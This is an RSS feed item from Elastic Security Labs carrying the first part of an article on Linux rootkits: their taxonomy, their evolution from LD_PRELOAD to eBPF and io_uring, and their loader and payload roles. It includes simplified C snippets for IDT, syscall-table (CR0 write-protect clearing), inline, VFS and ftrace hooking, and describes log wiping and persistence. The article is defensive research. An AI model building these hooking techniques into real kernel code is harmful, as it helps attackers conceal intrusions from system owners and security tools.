<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Malware Analysis</title>
        <link>https://www.elastic.co/pt/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Thu, 12 Mar 2026 18:55:41 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Malware Analysis</title>
            <url>https://www.elastic.co/pt/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/pt/security-labs</link>
        </image>
        <copyright>© 2026. Elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[Hooked on Linux: Rootkit Taxonomy, Hooking Techniques and Tradecraft]]></title>
            <link>https://www.elastic.co/pt/security-labs/linux-rootkits-1-hooked-on-linux</link>
            <guid>linux-rootkits-1-hooked-on-linux</guid>
            <pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[In this first part of a two-part series, we explore Linux rootkit taxonomy, trace their evolution from userland shared object hijacking and kernel-space loadable kernel module hooking to modern eBPF- and io_uring-powered techniques.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>This is part one of a two-part series on Linux rootkits. In this first installment, we focus on the theory behind how rootkits work: their taxonomy, evolution, and the hooking techniques they use to subvert the kernel. In part two, we shift to the defensive side and dive into detection engineering, covering practical approaches to identifying and responding to these threats in production environments.</p>
<h2>What Are Rootkits?</h2>
<p>Rootkits are stealthy malware designed to conceal malicious activity, such as files, processes, network connections, kernel modules, or accounts. Their primary purposes are persistence and evasion, allowing attackers to maintain long-term access to high-value targets like servers, infrastructure, and enterprise systems. Unlike other forms of malware, rootkits focus on remaining undetected rather than immediately pursuing objectives.</p>
<h2>How Do Rootkits Work?</h2>
<p>Rootkits manipulate the operating system to alter how it presents information to users and security tools. They operate in user space or within the kernel. User-space rootkits modify user-level processes using techniques such as <code>LD_PRELOAD</code> or library hijacking. Kernel-space rootkits run with the highest privileges, modifying kernel structures, intercepting syscalls, or loading malicious modules. This deep integration gives them powerful evasion capabilities but increases operational risk.</p>
<h2>Why Are Rootkits Difficult to Detect?</h2>
<p>Kernel-space rootkits can manipulate core OS functions, subverting security tools and obscuring artifacts from userland visibility. They often leave minimal traces of their presence in the system, avoiding obvious indicators such as new processes or files, making traditional detection difficult. Identifying rootkits often requires memory forensics, kernel integrity checks, or telemetry below the OS level.</p>
<h2>Why Rootkits Are a Double-Edged Sword for Attackers</h2>
<p>While rootkits offer stealth and control, they carry operational risks. Kernel rootkits must be precisely tailored to kernel versions and environments. Mistakes, such as mishandling memory or incorrectly hooking syscalls, can cause system crashes (kernel panics), immediately exposing the attacker. At the very least, these failures draw unwanted attention to the system—a scenario the attacker is actively trying to avoid to maintain their foothold.</p>
<p>Kernel updates also present challenges: changes to APIs, memory structures, or syscalls can break rootkit functionality, making persistence vulnerable. Detection of suspicious modules or hooks typically triggers deep forensic investigation, as rootkits strongly indicate targeted, high-skill attacks. For attackers, rootkits are high-risk, high-reward tools; for defenders, this fragility offers opportunities for detection through low-level monitoring.</p>
<h2>Windows vs Linux Rootkits</h2>
<h3>The Windows Rootkit Ecosystem</h3>
<p>Windows is the primary focus for rootkit development. Attackers exploit kernel hooks, drivers, and undocumented syscalls for hiding malware, stealing credentials, and persistence. A mature research community and widespread usage in enterprise environments drive ongoing innovation, including techniques like DKOM, PatchGuard bypasses, and bootkits.</p>
<p>Robust security tools and Microsoft’s hardening efforts push attackers toward increasingly sophisticated methods. Windows remains attractive due to its dominance on enterprise endpoints and consumer devices.</p>
<h3>The Linux Rootkit Ecosystem</h3>
<p>Linux rootkits have historically received less attention. Fragmentation across distributions and kernel versions complicates detection and development. While academic research exists, much tooling is outdated, and production Linux environments often lack specialized monitoring.</p>
<p>However, Linux’s role in cloud, containers, IoT, and High Performance Computing has made it a growing target. Real-world Linux rootkits have been observed in attacks on cloud providers, telecoms, and governments. Key challenges for attackers include:</p>
<ul>
<li>Diverse kernels hinder cross-distribution compatibility.</li>
<li>Long uptimes prolong kernel mismatches.</li>
<li>Security features like SELinux, AppArmor, and module signing increase difficulty.</li>
</ul>
<p>Unique Linux threats include:</p>
<ul>
<li><strong>Containers &amp; Kubernetes</strong>: new persistence vectors via container escape.</li>
<li><strong>IoT devices</strong>: outdated kernels with minimal monitoring.</li>
<li><strong>Production servers</strong>: headless systems lacking user interaction, reducing visibility.</li>
</ul>
<p>With Linux dominating modern infrastructure, rootkits represent an under-monitored yet escalating threat. Improving detection, tooling, and research into Linux-specific techniques is increasingly urgent.</p>
<h2>Evolution of Linux Rootkit Implementation Models</h2>
<p>Over the past two decades, Linux rootkits have evolved from basic userland techniques to advanced, kernel-resident implants leveraging modern kernel interfaces like <code>eBPF</code> and <code>io_uring</code>. Each stage in this evolution reflects both attacker innovation and defender response, pushing rootkit designs toward greater stealth, flexibility, and resilience.</p>
<p>This section outlines that progression, including key characteristics, historical context, and real-world examples.</p>
<h3>Early 2000s: Shared Object (SO) Userland Rootkits</h3>
<p>The earliest Linux rootkits operated entirely in user space without requiring kernel modification, relying on techniques like <code>LD_PRELOAD</code> or the manipulation of shell profiles to inject malicious shared objects into legitimate binaries. By intercepting standard libc functions such as <code>opendir</code>, <code>readdir</code>, and <code>fopen</code>, these rootkits could manipulate the output of diagnostic tools like <code>ps</code>, <code>ls</code>, and <code>netstat</code>. While this approach made them easier to deploy, their reliance on userland hooks meant they were limited in stealth and scope compared to kernel-level implants; they were easily disrupted by simple reboots or configuration resets. Prominent examples include the <a href="https://github.com/chokepoint/jynxkit">Jynx rootkit (2009)</a>, which hooked <code>libc</code> functions to hide files and connections, and <a href="https://github.com/chokepoint/azazel">Azazel (2013)</a>, which combined shared object injection with optional kernel-mode features. The foundational techniques for this dynamic linker abuse were famously detailed in <a href="https://phrack.org/issues/61/8">Phrack Magazine #61</a>  back in 2003.</p>
<h3>Mid-2000s-2010s: Loadable Kernel Module (LKM) Rootkits</h3>
<p>As defenders became adept at spotting userland manipulations, attackers migrated into the kernel space via Loadable Kernel Modules (LKMs). Although LKMs are legitimate extensions, malicious actors utilize them to operate with full privileges, hooking the <code>sys_call_table</code>, manipulating <code>ftrace</code>, or altering internal linked lists to hide processes, files, sockets, and even the rootkit itself. While LKMs offer deep control and powerful concealment capabilities, they face significant scrutiny in hardened environments. They are detectable via tainted kernel states, listings in <code>/proc/modules</code>, or specialized LKM scanners, and are increasingly hindered by modern defenses like Secure Boot, module signing, and Linux Security Modules (LSMs). Classic examples of this era include <a href="https://github.com/yaoyumeng/adore-ng">Adore-ng (2004+)</a>, a syscall-hooking LKM capable of hiding itself; <a href="https://github.com/m0nad/Diamorphine">Diamorphine (2016)</a>, a popular hooker that remains functional on many distributions; and <a href="https://codeberg.org/hardenedvault/Reptile-vault-range">Reptile (2020)</a>, a modern variant featuring backdoor capabilities.</p>
<h3>Late 2010s: eBPF-Based Rootkits</h3>
<p>To evade the growing detection of LKM-based threats, attackers began abusing eBPF, a subsystem originally built for safe packet filtering and kernel tracing. Since Linux 4.8+, eBPF has evolved into a programmable in-kernel virtual machine capable of attaching code to syscall hooks, kprobes, tracepoints, or Linux Security Module events. These implants run in kernel space but avoid traditional module loading, allowing them to bypass standard LKM scanners like <code>rkhunter</code> and <code>chkrootkit</code>, as well as Secure Boot restrictions. Because they do not appear in <code>/proc/modules</code> and are essentially invisible to typical module audit mechanisms, they require <code>CAP_BPF</code> or <code>CAP_SYS_ADMIN</code> (or rare unprivileged BPF access) to deploy. This era is defined by tools like <a href="https://github.com/h3xduck/TripleCross">Triple Cross (2022)</a>, a proof-of-concept that injects eBPF programs to hook syscalls like <code>execve</code>, and <a href="https://github.com/krisnova/boopkit">Boopkit (2022)</a>, which implements a covert C2 channel entirely via eBPF, alongside numerous Defcon presentations exploring the topic.</p>
<h3>2025s and Beyond: io_uring-Based Rootkits (Emerging)</h3>
<p>The most recent evolution capitalizes on <code>io_uring</code>, a high-performance asynchronous I/O interface introduced in Linux 5.1 (2019) that allows processes to batch system operations via shared memory rings. While designed to reduce syscall overhead for performance, red teamers have demonstrated that <code>io_uring</code> can be abused to create stealthy userland agents or kernel-context rootkits that evade syscall-based EDRs. By using <code>io_uring_enter</code> to batch file, network, and process operations, these rootkits produce far fewer observable syscall events, frustrating traditional detection mechanisms and avoiding the restrictions placed on LKMs and eBPF. Although still experimental, examples like <a href="https://github.com/MatheuZSecurity/RingReaper">RingReaper (2025)</a>, which uses <code>io_uring</code> to stealthily replace common syscalls like <code>read</code>, <code>write</code>, <code>connect</code>, and <code>unlink</code>, and <a href="https://www.armosec.io/blog/io_uring-rootkit-bypasses-linux-security/">research by ARMO</a> highlight this as a highly promising vector for future rootkit development that is hard to trace without custom instrumentation.</p>
<p>The Linux rootkit design has consistently adapted in response to better defenses. As LKM loading becomes more difficult and syscall auditing becomes more advanced, attackers have turned to alternative interfaces such as eBPF and <code>io_uring</code>. With this evolution, the battle is no longer just about detection, but about understanding the mechanisms rootkits use to blend into the system’s core, starting with their hooking strategies and internal architecture.</p>
<h2>Rootkit Internals and Hooking Techniques</h2>
<p>Understanding the architecture of Linux rootkits is essential for detection and defense. Most rootkits follow a modular design with two main components:</p>
<ul>
<li><strong>Loader</strong>: Installs or injects the rootkit and may establish persistence. While not strictly necessary, a separate loader component is often seen in malware infection chains that deploy rootkits.</li>
<li><strong>Payload</strong>: Performs malicious actions such as hiding files, intercepting syscalls, or covert communications.</li>
</ul>
<p>Payloads rely heavily on hooking techniques to alter execution flow and achieve stealth.</p>
<h2>Rootkit Loader Component</h2>
<p>The loader is the component responsible for transferring the rootkit into memory, initializing its execution, and in many cases, establishing persistence or escalating privileges. Its role is to bridge the gap between initial access (e.g., via exploit, phishing, or misconfiguration) and full rootkit deployment.</p>
<p>Depending on the rootkit model, the loader may operate entirely in user space, interact with the kernel through standard system interfaces, or bypass operating system protections altogether. Broadly, loaders can be categorized into three classes: malware-based droppers, userland rootkit initializers, and custom kernel-space loaders. Additionally, rootkits may be loaded manually by an attacker through userspace tooling such as <code>insmod</code>.</p>
<h3>Malware-Based Droppers</h3>
<p>Malware droppers are lightweight programs, often deployed after initial access, whose sole purpose is to download or unpack a rootkit payload and execute it. These droppers typically operate in user space but escalate privileges and interact with kernel-level features.</p>
<p>Common techniques include:</p>
<ul>
<li><strong>Module injection</strong>: Writing a malicious <code>.ko</code> file to disk and invoking <code>insmod</code> or <code>modprobe</code> to load it as a kernel module.</li>
<li><strong>Syscall wrapper:</strong> Using a wrapper around <code>init_module()</code> or <code>finit_module()</code> to load an LKM directly through syscalls.</li>
<li><strong>In-memory injection</strong>: Leveraging interfaces such as <code>ptrace</code> or <code>memfd_create</code>, often avoiding disk artifacts.</li>
<li><strong>BPF-based loading</strong>: Using utilities like <code>bpftool</code>, <code>tc</code>, or direct <code>bpf()</code> syscalls to load and attach eBPF programs to kernel tracepoints or LSM hooks.</li>
</ul>
<h3>Userland Loaders</h3>
<p>In the case of Shared Object rootkits, the loader may be limited to modifying user configuration or environment settings:</p>
<ul>
<li><strong>Dynamic linker abuse</strong>: Setting <code>LD_PRELOAD=/path/to/rootkit.so</code> allows the malicious shared object to override libc functions when the target binary executes.</li>
<li><strong>Persistence via profile modification</strong>: Inserting preload configurations into <code>.bashrc</code>, <code>.profile</code>, or global files such as <code>/etc/profile</code> ensures continued execution across sessions.</li>
</ul>
<p>While these loaders are trivial in implementation, they remain effective in weakly defended environments or as part of multi-stage infection chains.</p>
<h3>Custom Kernel Loaders</h3>
<p>Advanced rootkits may include custom kernel loaders designed to bypass standard module loading paths entirely. These loaders interact directly with low-level kernel interfaces or memory devices to write the rootkit into memory, often evading kernel audit logs or module signature verification.</p>
<p>For example, Reptile includes a userspace binary as a loader, allowing it to load the rootkit without invoking <code>insmod</code> or <code>modprobe</code>; however, it still relies on the <code>init_mod</code> syscall for loading the module into memory.</p>
<h3>Additional Loader Capabilities</h3>
<p>The malware loader often assumes an expanded role beyond simple initialization, becoming a multifunctional component of the attack chain. A key step for these advanced loaders is Elevating Privileges, in which they seek root access before loading the primary payload, often by exploiting local kernel vulnerabilities, a common tactic exemplified by the &quot;Dirty Pipe&quot; vulnerability (CVE-2022-0847). Once privileges are secured, the loader is then tasked with covering tracks. This involves a process of wiping evidence of execution by clearing entries from critical files like <code>bash_history</code>, kernel logs, audit logs, or the system's main <code>syslog</code>. Finally, to guarantee re-execution upon system restart, the loader ensures persistence by installing mechanisms such as <code>systemd</code> units, <code>cron</code> jobs, <code>udev</code> rules, or modifications to initialization scripts. These multifunctional behaviors often blur the distinction between a mere &quot;loader&quot; and full-fledged malware, especially in complex, multi-stage infections.</p>
<h2>Payload Component</h2>
<p>The payload delivers core functionality: stealth, control, and persistence. There are several primary methods an attacker might use. User-space payloads, often referred to as SO rootkits, operate by hijacking standard C library functions like <code>readdir</code> or <code>fopen</code> via the dynamic linker. This allows them to manipulate the output of common system tools such as <code>ls</code>, <code>netstat</code>, and <code>ps</code>. While they are generally easier to deploy, their operational scope is limited.</p>
<p>In contrast, kernel-space payloads operate with full system privileges. They can hide files and processes directly from <code>/proc</code>, manipulate the networking stack, and modify kernel structures. A more modern approach involves eBPF-based rootkits, which leverage in-kernel bytecode attached to syscall tracepoints or Linux Security Module (LSM) hooks. These kits offer stealth without requiring out-of-tree modules, making them particularly effective in environments with Secure Boot or module signing policies. Tools like <code>bpftool</code> simplify their loading, thereby complicating detection. Finally, <code>io_uring</code>-based payloads exploit asynchronous I/O batching via <code>io_uring_enter</code> (available in Linux 5.1 and later) to bypass traditional syscall monitoring. This allows for stealthy file, network, and process operations while minimizing telemetry exposure.</p>
<h2>Linux Rootkits – Hooking Techniques</h2>
<p>Building on that essential foundation, we now turn to the core of most rootkit functionality: hooking. At its essence, hooking involves intercepting and altering the execution of functions or system calls to conceal malicious activity or inject new behaviors. By diverting the normal flow of code, rootkits can hide files and processes, filter out security events, or secretly monitor the system, often without leaving obvious clues. Hooking can be implemented in both userland and kernel space, and over the years, attackers have devised numerous hooking techniques, from legacy methods to modern evasive maneuvers. In this part, we will provide a deep dive into common hooking techniques used by Linux rootkits, illustrating each method with examples and real-world rootkit samples (such as <a href="https://codeberg.org/hardenedvault/Reptile-vault-range">Reptile</a>, <a href="https://github.com/m0nad/Diamorphine">Diamorphine</a>, <a href="https://www.elastic.co/pt/security-labs/declawing-pumakit">PUMAKIT</a>, and, more recently, <a href="https://github.com/1337-42/FlipSwitch-dev/">FlipSwitch</a>) to understand how they work and how kernel evolution has challenged them.</p>
<h3>The Concept of Hooking</h3>
<p>At a high level, hooking is the practice of intercepting a function or system call invocation and redirecting it to malicious code. By doing so, a rootkit can modify the returned data or behavior to hide its presence or tamper with system operations. For example, a rootkit might hook the syscall that lists files in a directory (<code>getdents</code>), making it skip over any filenames that match the rootkit’s own files, thus making those files “invisible” to user commands like <code>ls</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/linux-rootkits-1-hooked-on-linux/image1.png" alt="Figure 1: Overview of getdents() syscall hooking flow by loadable kernel module rootkit." /></p>
<p>Hooking is not confined to kernel internals; it can also occur in user space. Early Linux rootkits operated entirely in userland by injecting malicious shared objects into processes. Techniques like using the dynamic linker’s <code>LD_PRELOAD</code> environment variable allow a rootkit to override standard C library functions (e.g., <code>getdents</code>, <code>readdir</code>, and <code>fopen</code>) in user programs. This means when a user runs a tool like <code>ps</code> or <code>netstat</code>, the rootkit’s injected code intercepts calls to list processes or network connections and filters out the malicious ones. These userland hooks require no kernel privileges and are relatively simple to implement.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/linux-rootkits-1-hooked-on-linux/image2.png" alt="Figure 2: Overview of readdir() function hooking flow by shared object rootkit." /></p>
<p>Notable examples include <a href="https://github.com/chokepoint/jynxkit">JynxKit (2012)</a> and <a href="https://github.com/chokepoint/azazel">Azazel (2014)</a>, user-mode rootkits that hook dozens of <code>libc</code> functions to hide processes, files, network ports, and even enable backdoors. However, userland hooking has significant limitations: it’s easier to detect and remove, and it lacks the deep control that kernel-level hooks have. As a result, most modern and “in the wild” Linux rootkits have shifted to kernel space hooking, despite the higher complexity and risk, because kernel hooks can comprehensively trick the operating system and security tools at a low level.</p>
<p>In the kernel, hooking typically means altering kernel data structures or code so that when the kernel tries to execute a particular operation (say, open a file or make a system call), it invokes the rootkit’s code instead of (or in addition to) the legitimate code. Over the years, Linux kernel developers have introduced stronger protections to guard against unauthorized modifications, but attackers have responded with increasingly sophisticated hooking methods. Below, we’ll examine the major hooking techniques in kernel space, starting from older methods (now largely obsolete) and progressing to modern techniques that attempt to bypass contemporary kernel defenses. Each subsection will explain the technique, show a simplified code example, and discuss its usage in known rootkits and its limitations given today’s Linux safeguards.</p>
<h3>Hooking Techniques in the Kernel</h3>
<h4>Interrupt Descriptor Table (IDT) Hooking</h4>
<p>One of the earliest kernel hooking tricks on Linux was to target the Interrupt Descriptor Table (IDT). On 32-bit x86 Linux, system calls used to be invoked via a software interrupt (<code>int 0x80</code>). The IDT is a table that maps interrupt numbers to handler addresses. By modifying the IDT entry for <code>0x80</code>, a rootkit could hijack the system call entry point before the kernel’s own system call dispatcher gets control. In other words, when any program triggered a syscall via <code>int 0x80</code>, the CPU would jump to the rootkit’s custom handler first, allowing the rootkit to filter or redirect calls at the very lowest level. Below is a simplified code example of IDT hooking (for illustration purposes):</p>
<pre><code class="language-c">// Install the IDT hook
static int install_idt_hook(void) {
    // Get pointer to IDT table
    idt_table = get_idt_table();

    // Save original syscall handler (int 0x80 = entry 128)
    original_syscall_entry = idt_table[0x80];

    // Calculate original handler address
    original_syscall_handler = (void*)(
        (original_syscall_entry.offset_high &lt;&lt; 16) |
        original_syscall_entry.offset_low
    );

    // Install our hook
    idt_table[0x80].offset_low = (unsigned long)custom_int80_handler &amp; 0xFFFF;
    idt_table[0x80].offset_high =
        ((unsigned long)custom_int80_handler &gt;&gt; 16)
        &amp; 0xFFFF;

    // Keep same selector and attributes as original
    // idt_table[0x80].selector and type_attr remain unchanged

    printk(KERN_INFO &quot;IDT hook installed at 0x80\n&quot;);
    return 0;
}

</code></pre>
&lt;center&gt;*IDT hijacking code example*&lt;/center&gt;
<p>The above code sets a new handler for interrupt <code>0x80</code>, redirecting execution flow to the rootkit’s handler before any syscall handling occurs. This allows the rootkit to intercept or modify syscall behavior entirely below the level of the syscall table. IDT hooking is used by educational and older rootkits such as <a href="https://phrack.org/issues/58/7">SuckIT</a>.</p>
<p>IDT hooking is mostly a historical technique now. It only worked on older Linux systems that use the <code>int 0x80</code> mechanism (32-bit x86 kernels before Linux 2.6). Modern 64-bit Linux uses the <code>sysenter</code>/<code>syscall</code> instructions instead of the software interrupt, so the IDT entry for <code>0x80</code> is no longer used for system calls. Additionally, IDT hooking is highly architecture-specific (x86 only) and is not effective on modern kernels with x86_64 or other architectures.</p>
<h4>Syscall Table Hooking</h4>
<p>Syscall table hooking is a classic rootkit technique that involves modifying the kernel's system call dispatch table, known as the <code>sys_call_table</code>. This table is an array of function pointers where each entry corresponds to a specific syscall number. By overwriting a pointer in this table, an attacker can redirect a legitimate syscall, such as <code>getdents64</code>, <code>kill</code>, or <code>read</code>, to a malicious handler. An example is displayed below.</p>
<pre><code class="language-c">asmlinkage int (*original_getdents64)(
    unsigned int,
    struct linux_dirent64 __user *,
    unsigned int);

asmlinkage int hacked_getdents64(
    unsigned int fd,
    struct linux_dirent64 __user *dirp,
    unsigned int count)
{
    int ret = original_getdents64(fd, dirp, count);
    // Filter hidden entries from dirp
    return ret;
}

write_cr0(read_cr0() &amp; ~0x10000); // Disable write protection
sys_call_table[__NR_getdents64] = hacked_getdents64;
write_cr0(read_cr0() | 0x10000); // Re-enable write protection

</code></pre>
&lt;center&gt;*Syscall table hijacking code example*&lt;/center&gt;
<p>In the example, to modify the table, a kernel module would first need to disable write protection on the memory page where the table resides. The following assembly code (as seen in Diamorphine) demonstrates how the 20th bit (Write Protect) of the <code>CR0</code> control register can be cleared, even though the <code>write_cr0</code> function is no longer exported to modules:</p>
<pre><code class="language-c">static inline void
write_cr0_forced(unsigned long val)
{
    unsigned long __force_order;

    asm volatile(
        &quot;mov %0, %%cr0&quot;
        : &quot;+r&quot;(val), &quot;+m&quot;(__force_order));
}

</code></pre>
&lt;center&gt;*Control register (cr0) clearing code example*&lt;/center&gt;
<p>Once write protection is disabled, the address of a syscall in the table can be replaced with the address of a malicious function. After the modification, write protection is re-enabled. Notable examples of rootkits that used this technique include Diamorphine, Knark, and Reveng_rtkit. Syscall table hooking has several limitations:</p>
<ul>
<li>Kernel hardening (since 2.6.25) hides <code>sys_call_table</code>.</li>
<li>Kernel memory pages were made read-only (<code>CONFIG_STRICT_KERNEL_RWX</code>).</li>
<li>Security features like Secure Boot and the kernel lockdown mechanism can hinder modifications to CR0.</li>
</ul>
<p>The most definitive mitigation came with Linux kernel 6.9, which fundamentally changed how syscalls are dispatched on the x86-64 architecture. Before version 6.9, the kernel executed syscalls by directly looking up the handler in the <code>sys_call_table</code> array:</p>
<pre><code class="language-c">// Pre-v6.9 Syscall Dispatch
asmlinkage const sys_call_ptr_t sys_call_table[] = {
    #include &lt;asm/syscalls_64.h&gt;
};

</code></pre>
&lt;center&gt;*Syscall execution in Linux kernels before version 6.9*&lt;/center&gt;
<p>Starting with kernel 6.9, the syscall number is used in a switch statement to find and execute the appropriate handler. The <code>sys_call_table</code> still exists but is only populated for compatibility with tracing tools and is no longer used in the syscall execution path.</p>
<pre><code class="language-c">// Kernel v6.9+ Syscall Dispatch
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
    switch (nr) {
    #include &lt;asm/syscalls_64.h&gt;
    default: return __x64_sys_ni_syscall(regs);
    }
};

</code></pre>
&lt;center&gt;*Syscall execution in Linux kernels after version 6.9*&lt;/center&gt;
<p>As a result of this architectural change, overwriting function pointers in the <code>sys_call_table</code> on kernels 6.9 and newer does not affect syscall execution, rendering the technique entirely ineffective. While this led us to assume that syscall table patching was no longer viable, we recently published the <a href="https://github.com/1337-42/FlipSwitch-dev/"><strong>FlipSwitch</strong></a> technique, which demonstrates that this vector is far from dead. This method leverages specific register manipulation gadgets to momentarily disable kernel write-protection mechanisms, effectively allowing an attacker to bypass the &quot;immutability&quot; of the modern syscall path and reintroduce hooks even within these hardened environments.</p>
<p>Instead of targeting the data-based <code>sys_call_table</code>, FlipSwitch focuses on the compiled machine code of the kernel's new syscall dispatcher function, <code>x64_sys_call</code>. Because the kernel now uses a massive switch-case statement to execute syscalls, each syscall has a hardcoded <code>call</code> instruction within the dispatcher's binary. FlipSwitch scans the memory of the <code>x64_sys_call</code> function to locate the specific &quot;signature&quot; of a target syscall, typically an <code>0xe8</code> opcode (the <code>CALL</code> instruction) followed by a 4-byte relative offset that points to the original, legitimate handler.</p>
<p>Once this call site is identified within the dispatcher, the rootkit uses gadgets to clear the Write Protect (WP) bit in the CR0 control register, granting temporary write access to the kernel's executable code segments. The original relative offset is then overwritten with a new offset pointing to a malicious, adversary-controlled function. This effectively &quot;flips the switch&quot; at the point of dispatch, ensuring that whenever the kernel attempts to execute the target syscall through its modern switch-statement path, it is redirected to the rootkit instead. This enables reliable, precise syscall interception that persists despite the 6.9 kernel’s architectural hardening.</p>
<h4>Inline Hooking / Function Prologue Patching</h4>
<p>Inline hooking is an alternative to hooking via pointer tables. Instead of modifying a pointer in a table, inline hooking patches the code of the target function itself. The rootkit writes a jump instruction at the start (prologue) of a kernel function, which diverts execution to the rootkit’s own code. This technique is akin to function hot-patching or the way user-mode hooks on Windows work (e.g., modifying the first bytes of a function to jump to a detour).</p>
<p>For example, a rootkit might target a kernel function like <code>do_sys_open</code> (which is part of the open file syscall handling). By overwriting the first few bytes of <code>do_sys_open</code> with an <code>x86 JMP</code> instruction to malicious code, the rootkit ensures that whenever <code>do_sys_open</code> is called, it jumps into the rootkit’s routine instead. The malicious routine can then execute whatever it wants (e.g., check if the filename to open is on a hidden list and deny access), and optionally call the original <code>do_sys_open</code> to proceed with normal behavior for non-hidden files.</p>
<pre><code class="language-c">unsigned char *target = (unsigned char *)kallsyms_lookup_name(&quot;do_sys_open&quot;);
unsigned long hook = (unsigned long)&amp;malicious_function;
int offset = (int)(hook - ((unsigned long)target + 5));
unsigned char jmp[5] = {0xE9};
memcpy(&amp;jmp[1], &amp;offset, 4);

// Memory protection omitted for brevity
memcpy(target, jmp, 5);

asmlinkage long malicious_function(
    const char __user *filename,
    int flags, umode_t mode) {
    printk(KERN_INFO &quot;do_sys_open hooked!\n&quot;);
    return -EPERM;
}

</code></pre>
&lt;center&gt;*Inline hooking code example*&lt;/center&gt;
<p>This code overwrites the beginning of <code>do_sys_open()</code> with a <code>JMP</code> instruction that redirects execution to malicious code. The open-source rootkit Reptile extensively uses inline function patching via a custom framework called KHOOK (which we will discuss shortly).</p>
<p>Reptile’s inline hooks target functions like <code>sys_kill</code> and others, enabling backdoor commands (e.g., sending a specific signal to a process triggers the rootkit to elevate privileges or hide the process). Another example is Suterusu, which also applied inline patching for some of its hooks.</p>
<p>Inline hooking is fragile and high-risk: overwriting a function’s prologue is sensitive to kernel version and compiler differences (so hooks often need per-build patches or runtime disassembly), it can easily crash the system if instructions or concurrent execution aren’t handled correctly, and it requires bypassing modern memory protections (<code>W^X</code>, <code>CR0 WP</code>, module signing/lockdown) or exploiting vulnerabilities to make kernel text writable.</p>
<h4>Virtual Filesystem Hooking</h4>
<p>The Virtual Filesystem (VFS) layer in Linux provides an abstraction for file operations. For example, when you read a directory (like <code>ls /proc</code>), the kernel will eventually call a function to iterate over directory entries. File systems define their own file_operations with function pointers for actions like <code>iterate_shared</code> (to list directory contents) or read/write for file I/O. VFS hooking involves replacing these function pointers with rootkit-provided functions to manipulate how the filesystem presents data.</p>
<p>In essence, a rootkit can hook into the VFS to hide files or directories by filtering them out of directory listings. A common trick: hook the function that iterates directory entries, and make it skip any file names that match a certain pattern. The <code>file_operations</code> structure for directories (particularly in <code>/proc</code> or <code>/sys</code>) is a frequent target, since hiding malicious processes often involves hiding entries under <code>/proc/&lt;pid&gt;</code>.</p>
<p>Consider this example hook for a directory listing function:</p>
<pre><code class="language-c">static iterate_dir_t original_iterate;

static int malicious_filldir(
    struct dir_context *ctx,
    const char *name, int namelen,
    loff_t offset, u64 ino,
    unsigned int d_type)
{
    if (!strcmp(name, &quot;hidden_file&quot;))
        return 0; // Skip hidden_file
    return ctx-&gt;actor(ctx, name, namelen, offset, ino, d_type);
}

static int malicious_iterate(struct file *file, struct dir_context *ctx)
{
    struct dir_context new_ctx = *ctx;
    new_ctx.actor = malicious_filldir;
    return original_iterate(file, &amp;new_ctx);
}

// Hook installation
file-&gt;f_op-&gt;iterate = malicious_iterate;

</code></pre>
&lt;center&gt;*VFS hooking code example*&lt;/center&gt;
<p>This replacement function filters out hidden files during directory listing operations. By hooking at the VFS level, the rootkit doesn’t need to tamper with system call tables or low-level assembly; it simply piggybacks on the filesystem interface. <a href="https://github.com/yaoyumeng/adore-ng">Adore-NG</a>, a once-popular Linux rootkit, employed VFS hooking to hide files and processes. It patched the function pointers for directory iteration to conceal entries for specific PIDs and filenames. Many other kernel rootkits have similar code to hide themselves or their artifacts via VFS hooks.</p>
<p>VFS hooking is still widely used, but it has limitations due to changes in kernel structure offsets between versions, which can lead to hooks breaking.</p>
<h4>Ftrace-Based Hooking</h4>
<p>Modern Linux kernels include a powerful tracing framework called ftrace (function tracer). Ftrace is intended for debugging and performance analysis, allowing one to attach hooks (callbacks) to almost any kernel function entry or exit without modifying the kernel code directly. It works by dynamically modifying kernel code at runtime in a controlled manner (often by patching in a lightweight trampoline that calls the tracing handler). Importantly, ftrace provides an API for kernel modules to register trace handlers, as long as certain conditions are met (like having the kernel built with ftrace support and the debugfs interface available).</p>
<p>Rootkits have started abusing ftrace to implement hooks in a less obvious way. Instead of manually writing a <code>JMP</code> into a function, a rootkit can ask the kernel’s ftrace machinery to do it on its behalf; essentially “legitimizing” the hook. This means the rootkit doesn’t have to find the function’s address or modify page protections; it simply registers a callback for the function name it wants to intercept, and the kernel installs the hook.</p>
<p>Here’s a simplified example of using ftrace to hook the <code>mkdir</code> system call handler:</p>
<pre><code class="language-c">static int __init hook_init(void) {
    target_addr = kallsyms_lookup_name(SYSCALL_NAME(&quot;sys_mkdir&quot;));
    if (!target_addr) return -ENOENT;
    real_mkdir = (void *)target_addr;

    ops.func = ftrace_thunk;
    ops.flags = FTRACE_OPS_FL_SAVE_REGS
        | FTRACE_OPS_FL_RECURSION_SAFE
        | FTRACE_OPS_FL_IPMODIFY;

    if (ftrace_set_filter_ip(&amp;ops, target_addr, 0, 0)) return -EINVAL;
    return register_ftrace_function(&amp;ops);
}

</code></pre>
&lt;center&gt;*Ftrace hooking code example*&lt;/center&gt;
<p>This hook intercepts the <code>sys_mkdir</code> function and reroutes it through a malicious handler. Recent rootkits such as <a href="https://github.com/carloslack/KoviD">KoviD</a>, <a href="https://github.com/MatheuZSecurity/Singularity">Singularity</a>, and <a href="https://github.com/h3xduck/Umbra">Umbra</a> have utilized ftrace-based hooks. These rootkits register ftrace callbacks on various kernel functions (including syscalls) to either monitor or manipulate them.</p>
<p>The main advantage of ftrace hooking is that it leaves no obvious footprints in global tables or patched code. The hooking is done via legitimate kernel interfaces. To an untrained eye, everything looks normal; <code>sys_call_table</code> is intact, function prologues are not manually overwritten by the rootkit (they are overwritten by the ftrace mechanism, but that is a common and allowed occurrence in a kernel with tracing enabled). Also, ftrace hooks can often be enabled/disabled on the fly and are inherently less intrusive than manual patching.</p>
